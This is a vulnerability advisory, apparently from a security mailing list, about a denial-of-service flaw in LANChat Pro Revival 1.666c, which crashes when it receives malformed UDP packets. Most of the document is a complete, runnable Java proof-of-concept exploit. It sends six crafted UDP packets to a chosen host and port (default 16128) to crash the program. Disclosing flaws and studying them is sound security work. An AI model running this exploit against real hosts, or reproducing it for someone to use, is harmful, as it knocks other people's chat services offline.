[NT] LANChat Pro Revival DoS

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  LANChat Pro Revival DoS
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SUMMARY

" <http://lanchat.republika.pl/> LANChat Pro is a local area network chat 
program with multicolor, custom skins and sounds support, WAN operation 
and file transfer and many other options."

By suppling malformed UDP packets to LANChat Pro, a remote attacker can 
cause the program to crash.

DETAILS

Vulnerable Systems:
 * LANChat Pro Revival version 1.666c

LANChat Pro Revival does not filter the data received by UDP socket, and 
wrong data will cause the program to crash.

Exploit:
 /*
    LANChat Pro Revival v1.666c - Denial Of Service - Proof Of Concept
    Coded by: Donato Ferrante
 */

import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

public class LANChatPR_1666c_DoS_poc {

 
 final static String DATA = "   ";
 final static int PORT = 16128;

 public static void main(String [] args){
 
  credits();

  if(args.length < 1)
   usage();

                int port;

  try{

   if(args.length > 1)
    port = Integer.parseInt(args[1]);
   else
    port = PORT;
    
   DatagramPacket packet = new DatagramPacket(DATA.getBytes(), 
DATA.length(), InetAddress.getByName(args[0]), port);
   DatagramSocket socket = new DatagramSocket();

   int i = 0;
   System.out.print("\nSending packets...");
   while(i++ < 6)
    socket.send(packet);
   System.out.println(" [done]");
   
   Thread.sleep(4500);
  
   System.out.println("\nProof Of Concept terminated.\n\n");
   
  }catch(Exception e){System.out.println(e);}
 }

 private static String VERSION = "0.1.0";
 private static void credits(){

  System.out.println("\n\nLANChat Pro Revival v1.666c - Denial Of Service 
- Proof Of Concept\n");
  System.out.println("Version " + VERSION );
  System.out.println("coded by: Donato Ferrante");
  System.out.println("e-mail: [email protected]");
  System.out.println("web: www.autistici.org/fdonato\n\n");
 }

 private static void usage(){

  System.out.println("Usage: ");
  System.out.println("    java LANChatPR_1666c_DoS_poc <host> [port]");
  System.out.println("    [Default port is 16128]\n\n");
  System.exit(-1);
 }
}

/* EOF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Donato Ferrante.



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